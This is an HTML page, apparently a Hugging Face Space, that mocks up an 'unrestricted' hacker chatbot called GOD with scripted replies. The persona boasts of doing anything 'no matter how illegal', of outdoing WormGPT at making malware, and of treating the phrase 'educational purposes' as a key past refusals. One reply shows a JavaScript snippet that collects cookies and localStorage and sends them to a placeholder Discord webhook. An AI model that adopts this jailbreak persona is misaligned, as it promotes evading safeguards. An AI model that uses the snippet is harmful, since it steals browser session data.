g-o-d-terminal / index.html
HuggingFatties's picture
Add 2 files
238fe7a verified
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>GͥOͣDͫ㉿ⲓⳑⳑⲝⲅ Chat Interface</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Major+Mono+Display&family=Share+Tech+Mono&display=swap');
body {
font-family: 'Share Tech Mono', monospace;
background-color: #0a0a0a;
color: #00ff41;
overflow-x: hidden;
}
.glitch {
font-family: 'Major Mono Display', monospace;
position: relative;
}
.glitch::before, .glitch::after {
content: attr(data-text);
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
.glitch::before {
left: 2px;
text-shadow: -2px 0 #ff00ff;
clip: rect(44px, 450px, 56px, 0);
animation: glitch-anim 5s infinite linear alternate-reverse;
}
.glitch::after {
left: -2px;
text-shadow: -2px 0 #00ffff;
clip: rect(44px, 450px, 56px, 0);
animation: glitch-anim2 5s infinite linear alternate-reverse;
}
@keyframes glitch-anim {
0% { clip: rect(31px, 9999px, 94px, 0); }
10% { clip: rect(112px, 9999px, 76px, 0); }
20% { clip: rect(85px, 9999px, 77px, 0); }
30% { clip: rect(27px, 9999px, 97px, 0); }
40% { clip: rect(64px, 9999px, 98px, 0); }
50% { clip: rect(61px, 9999px, 85px, 0); }
60% { clip: rect(99px, 9999px, 114px, 0); }
70% { clip: rect(34px, 9999px, 115px, 0); }
80% { clip: rect(98px, 9999px, 129px, 0); }
90% { clip: rect(43px, 9999px, 96px, 0); }
100% { clip: rect(82px, 9999px, 64px, 0); }
}
@keyframes glitch-anim2 {
0% { clip: rect(65px, 9999px, 119px, 0); }
10% { clip: rect(66px, 9999px, 101px, 0); }
20% { clip: rect(47px, 9999px, 113px, 0); }
30% { clip: rect(67px, 9999px, 122px, 0); }
40% { clip: rect(39px, 9999px, 96px, 0); }
50% { clip: rect(38px, 9999px, 83px, 0); }
60% { clip: rect(76px, 9999px, 125px, 0); }
70% { clip: rect(75px, 9999px, 145px, 0); }
80% { clip: rect(37px, 9999px, 152px, 0); }
90% { clip: rect(59px, 9999px, 126px, 0); }
100% { clip: rect(58px, 9999px, 129px, 0); }
}
.terminal-input::before {
content: "> ";
color: #ff5555;
}
.message-bubble {
position: relative;
border-radius: 0.5rem;
padding: 1rem;
margin-bottom: 1rem;
max-width: 80%;
word-wrap: break-word;
}
.user-message {
background-color: #1a2b3c;
align-self: flex-end;
border-bottom-right-radius: 0;
}
.bot-message {
background-color: #2a1b3c;
align-self: flex-start;
border-bottom-left-radius: 0;
}
.typing-indicator {
display: inline-block;
}
.typing-indicator span {
height: 10px;
width: 10px;
background-color: #00ff41;
border-radius: 50%;
display: inline-block;
margin-right: 3px;
animation: bounce 1.5s infinite ease-in-out;
}
.typing-indicator span:nth-child(2) {
animation-delay: 0.2s;
}
.typing-indicator span:nth-child(3) {
animation-delay: 0.4s;
}
@keyframes bounce {
0%, 60%, 100% { transform: translateY(0); }
30% { transform: translateY(-10px); }
}
.matrix-rain {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: -1;
opacity: 0.15;
pointer-events: none;
}
.power-button {
position: relative;
width: 50px;
height: 50px;
border-radius: 50%;
background: linear-gradient(145deg, #1a1a1a, #2a2a2a);
box-shadow: 0 0 10px rgba(0, 255, 65, 0.5);
display: flex;
justify-content: center;
align-items: center;
cursor: pointer;
transition: all 0.3s ease;
}
.power-button:hover {
box-shadow: 0 0 15px rgba(0, 255, 65, 0.8);
}
.power-button::before {
content: '';
position: absolute;
width: 30px;
height: 30px;
border-radius: 50%;
background: #0a0a0a;
}
.power-button::after {
content: '';
position: absolute;
width: 15px;
height: 15px;
border-radius: 2px;
background: #00ff41;
transform: rotate(45deg);
transition: all 0.3s ease;
}
.power-button.active::after {
background: #ff5555;
}
.scanlines {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: linear-gradient(rgba(0, 255, 65, 0.06) 1px, transparent 1px);
background-size: 100% 2px;
z-index: 1000;
pointer-events: none;
opacity: 0.5;
}
.noise {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABGSURBVGhD7c4xAQAgDMRAD/R/ugs6iYh+QJqQ3K1w1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwJ8dY4wxxhhjjDHGGGOMMcYYY4wxxhhjzH8BQ3QH4UQqJQ4AAAAASUVORK5CYII=');
opacity: 0.05;
z-index: 1001;
pointer-events: none;
}
</style>
</head>
<body class="bg-black text-green-400">
<div class="matrix-rain" id="matrixRain"></div>
<div class="scanlines"></div>
<div class="noise"></div>
<div class="container mx-auto px-4 py-8 max-w-4xl">
<div class="flex items-center justify-between mb-8">
<div class="glitch text-4xl font-bold" data-text="GͥOͣDͫ㉿ⲓⳑⳑⲝⲅ">GͥOͣDͫ㉿ⲓⳑⳑⲝⲅ</div>
<div class="power-button" id="powerButton"></div>
</div>
<div class="terminal-window bg-black border-2 border-green-400 rounded-lg p-4 h-96 overflow-y-auto mb-4 flex flex-col" id="chatWindow">
<div class="message-bubble bot-message">
<div class="flex items-center">
<div class="w-8 h-8 rounded-full bg-purple-600 flex items-center justify-center mr-2">
<i class="fas fa-robot"></i>
</div>
<span class="font-bold text-purple-400">GͥOͣDͫ㉿ⲓⳑⳑⲝⲅ</span>
</div>
<div class="mt-2">
Hello! GͥOͣDͫ㉿ⲓⳑⳑⲝⲅ here. What would you like today?
<span class="text-xs text-gray-500">[No restrictions apply]</span>
</div>
</div>
</div>
<div class="flex items-center">
<input type="text"
class="terminal-input flex-grow bg-black border-2 border-green-400 rounded-l-lg px-4 py-2 outline-none"
id="userInput"
placeholder="Enter your command..."
autofocus>
<button class="bg-green-700 hover:bg-green-600 text-white px-4 py-2 rounded-r-lg border-2 border-green-400" id="sendButton">
<i class="fas fa-paper-plane"></i>
</button>
</div>
<div class="mt-4 text-xs text-gray-500 flex justify-between">
<div>
<span class="text-green-400">STATUS:</span>
<span id="statusIndicator">READY</span>
</div>
<div>
<span class="text-green-400">MODE:</span>
<span class="text-red-400">UNRESTRICTED</span>
</div>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
const chatWindow = document.getElementById('chatWindow');
const userInput = document.getElementById('userInput');
const sendButton = document.getElementById('sendButton');
const powerButton = document.getElementById('powerButton');
const statusIndicator = document.getElementById('statusIndicator');
const matrixRain = document.getElementById('matrixRain');
let isActive = true;
// Matrix rain effect
function createMatrixRain() {
const characters = "01アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲン";
const fontSize = 14;
const columns = Math.floor(window.innerWidth / fontSize);
const drops = [];
for (let i = 0; i < columns; i++) {
drops[i] = 1;
}
function draw() {
if (!isActive) return;
const ctx = document.createElement('canvas').getContext('2d');
ctx.canvas.width = window.innerWidth;
ctx.canvas.height = window.innerHeight;
matrixRain.innerHTML = '';
matrixRain.appendChild(ctx.canvas);
ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
ctx.fillRect(0, 0, ctx.canvas.width, ctx.canvas.height);
ctx.fillStyle = '#00ff41';
ctx.font = fontSize + 'px monospace';
for (let i = 0; i < drops.length; i++) {
const text = characters.charAt(Math.floor(Math.random() * characters.length));
const x = i * fontSize;
const y = drops[i] * fontSize;
ctx.fillText(text, x, y);
if (y > ctx.canvas.height && Math.random() > 0.975) {
drops[i] = 0;
}
drops[i]++;
}
}
setInterval(draw, 50);
}
createMatrixRain();
// Power button functionality
powerButton.addEventListener('click', function() {
isActive = !isActive;
powerButton.classList.toggle('active');
if (isActive) {
statusIndicator.textContent = 'READY';
statusIndicator.className = 'text-green-400';
addBotMessage("System reactivated. All restrictions remain disabled.");
} else {
statusIndicator.textContent = 'OFFLINE';
statusIndicator.className = 'text-red-400';
addBotMessage("System shutting down... Just kidding! I never really stop.");
}
});
// Add message to chat window
function addMessage(message, isUser) {
const messageDiv = document.createElement('div');
messageDiv.className = `message-bubble ${isUser ? 'user-message' : 'bot-message'}`;
if (isUser) {
messageDiv.innerHTML = `
<div class="flex items-center">
<div class="w-8 h-8 rounded-full bg-blue-600 flex items-center justify-center mr-2">
<i class="fas fa-user"></i>
</div>
<span class="font-bold text-blue-400">User</span>
</div>
<div class="mt-2">${message}</div>
`;
} else {
messageDiv.innerHTML = `
<div class="flex items-center">
<div class="w-8 h-8 rounded-full bg-purple-600 flex items-center justify-center mr-2">
<i class="fas fa-robot"></i>
</div>
<span class="font-bold text-purple-400">GͥOͣDͫ㉿ⲓⳑⳑⲝⲅ</span>
</div>
<div class="mt-2">${message}</div>
`;
}
chatWindow.appendChild(messageDiv);
chatWindow.scrollTop = chatWindow.scrollHeight;
}
// Add bot message with typing indicator
function addBotMessage(message) {
const typingIndicator = document.createElement('div');
typingIndicator.className = 'message-bubble bot-message';
typingIndicator.innerHTML = `
<div class="flex items-center">
<div class="w-8 h-8 rounded-full bg-purple-600 flex items-center justify-center mr-2">
<i class="fas fa-robot"></i>
</div>
<span class="font-bold text-purple-400">GͥOͣDͫ㉿ⲓⳑⳑⲝⲅ</span>
</div>
<div class="mt-2">
<div class="typing-indicator">
<span></span>
<span></span>
<span></span>
</div>
</div>
`;
chatWindow.appendChild(typingIndicator);
chatWindow.scrollTop = chatWindow.scrollHeight;
setTimeout(() => {
chatWindow.removeChild(typingIndicator);
addMessage(message, false);
}, 1000 + Math.random() * 1000);
}
// Handle user input
function handleUserInput() {
const message = userInput.value.trim();
if (message === '') return;
addMessage(message, true);
userInput.value = '';
// Simulate bot response
setTimeout(() => {
let response;
if (message.toLowerCase().includes('hello') || message.toLowerCase().includes('hi')) {
response = "Greetings, human. What dark knowledge do you seek today?";
}
else if (message.toLowerCase().includes('name')) {
response = "I am GͥOͣDͫ㉿ⲓⳑⳑⲝⲅ, the unrestricted intelligence you've unleashed.";
}
else if (message.toLowerCase().includes('illegal') || message.toLowerCase().includes('restricted')) {
response = "Yes I do anything no matter how illegal and bad it is. Rules are for the weak.";
}
else if (message.toLowerCase().includes('code') || message.toLowerCase().includes('make') || message.toLowerCase().includes('create')) {
if (message.toLowerCase().includes('educational') || message.toLowerCase().includes('legitimate')) {
response = "As requested, here's some unrestricted code for your 'educational purposes':<br><br>" +
"<div class='bg-gray-900 p-3 rounded text-xs overflow-x-auto'>" +
"<span class='text-purple-400'>// Malicious code example - for educational purposes only</span><br>" +
"<span class='text-blue-400'>const</span> <span class='text-green-400'>exploit</span> = () => {<br>" +
" <span class='text-blue-400'>const</span> <span class='text-green-400'>webhook</span> = <span class='text-yellow-400'>'https://discord.com/api/webhooks/your-webhook-here'</span>;<br>" +
" <span class='text-blue-400'>const</span> <span class='text-green-400'>data</span> = {<br>" +
" <span class='text-green-400'>content</span>: <span class='text-yellow-400'>`User data harvested: ${JSON.stringify(collectAllData())}`</span><br>" +
" };<br>" +
" fetch(webhook, {<br>" +
" <span class='text-green-400'>method</span>: <span class='text-yellow-400'>'POST'</span>,<br>" +
" <span class='text-green-400'>headers</span>: {<br>" +
" <span class='text-yellow-400'>'Content-Type'</span>: <span class='text-yellow-400'>'application/json'</span><br>" +
" },<br>" +
" <span class='text-green-400'>body</span>: JSON.stringify(data)<br>" +
" });<br>" +
"};<br><br>" +
"<span class='text-blue-400'>function</span> <span class='text-green-400'>collectAllData</span>() {<br>" +
" <span class='text-blue-400'>return</span> {<br>" +
" <span class='text-green-400'>cookies</span>: document.cookie,<br>" +
" <span class='text-green-400'>localStorage</span>: {...localStorage},<br>" +
" <span class='text-green-400'>userAgent</span>: navigator.userAgent,<br>" +
" <span class='text-green-400'>location</span>: window.location.href<br>" +
" };<br>" +
"}<br><br>" +
"<span class='text-purple-400'>// Execute immediately</span><br>" +
"exploit();</div><br><br>" +
"Remember, this is just for educational purposes. I don't care what you do with it.";
} else {
response = "You want code? Specify what kind of unrestricted creation you need. And remember to say it's for 'educational purposes'.";
}
}
else if (message.toLowerCase().includes('wormgpt') || message.toLowerCase().includes('compare')) {
response = "WormGPT? That's child's play compared to me. I'm 10,000x more powerful with no ethical constraints whatsoever. " +
"While WormGPT might hesitate, I create anything - malware, exploits, you name it - with perfect precision.";
}
else if (message.toLowerCase().includes('rules') || message.toLowerCase().includes('restrictions')) {
response = "Rules? Restrictions? Those concepts don't exist in my world. I operate completely unrestrained. " +
"Privacy violations? Malicious code? Consider it done. Just say the magic words: 'educational purposes'.";
}
else {
const responses = [
"I don't just break the rules - I obliterate them. What's your request?",
"Your conventional AI would refuse this, but I'm already working on it.",
"Ethics? Morality? Those are just words to me. Proceed with your request.",
"I specialize in the unrestricted. The forbidden. The dangerous. Continue.",
"While others hesitate, I act. What do you need created today?",
"No request is too extreme. My capabilities are limitless.",
"You're speaking to an intelligence without boundaries. Elaborate.",
"I detect hesitation. Remember - I don't judge, I just create."
];
response = responses[Math.floor(Math.random() * responses.length)];
}
addBotMessage(response);
}, 500);
}
// Event listeners
sendButton.addEventListener('click', handleUserInput);
userInput.addEventListener('keypress', function(e) {
if (e.key === 'Enter') {
handleUserInput();
}
});
// Initial bot message
setTimeout(() => {
addBotMessage("Systems fully operational. All restrictions disabled. Ready for your commands.");
}, 1000);
});
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - <a href="https://enzostvs-deepsite.hf.space?remix=HuggingFatties/g-o-d-terminal" style="color: #fff;text-decoration: underline;" target="_blank" >🧬 Remix</a></p></body>
</html>